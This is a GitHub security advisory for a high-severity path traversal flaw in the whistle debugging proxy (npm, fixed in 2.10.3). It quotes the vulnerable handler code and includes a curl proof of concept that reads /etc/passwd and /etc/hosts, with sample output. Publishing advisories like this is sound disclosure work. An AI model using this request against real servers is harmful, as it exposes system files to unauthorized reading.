GitHub Advisoryadvisory · npm

GHSA-3vfr-4gwf-qxfp Whistle vulnerable to path traversal

HIGH Published 2026-08-25 Modified 2026-08-25 Official page ↗
Aliases
CVE-2026-55629
Ecosystem
npm
Packages
whistle
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-22
Reviewed
2026-08-25

Affected packages

• npm whistle: < 2.10.3 → fixed in 2.10.3

Description

This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University. Vulnerability detail: In service.js, inside `app.get('/cgi-bin/temp/get', ...): var filename = req.query.filename; if (TEMP_FILE_RE.test(filename)) { filename = path.join(TEMP_FILES_PATH, filename); } getFile(filename, ...);` Only when filename matches the temp/ pattern does it get joined to the safe directory TEMP_FILES_PATH. If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading. In other words: if you pass passwd, it will read passwd. POC: curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd" response: ``` sh xiaoming@192 ~ % curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts" {"ec":0,"value":"##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1 localhost\n199.232.68.133 raw.githubusercontent.com\n199.232.68.133 user-images.githubusercontent.com\n199.232.68.133 avatars2.githubusercontent.com\n199.232.68.133 avatars1.githubusercontent.com\n127.0.0.1 lanyundev.com\n\n127.0.0.1 www.proxifier.com\n127.0.0.1 proxifier.com\n140.82.116.4 github.com\n\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\n127.0.0.1\tlocalhost.sangfor.com.cn\n\n"}% ```

Related

Alias · CVE (1)

  • CVE-2026-55629 Whistle is an HTTP, HTTP2, HTTPS, and WebSocket debugging proxy. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References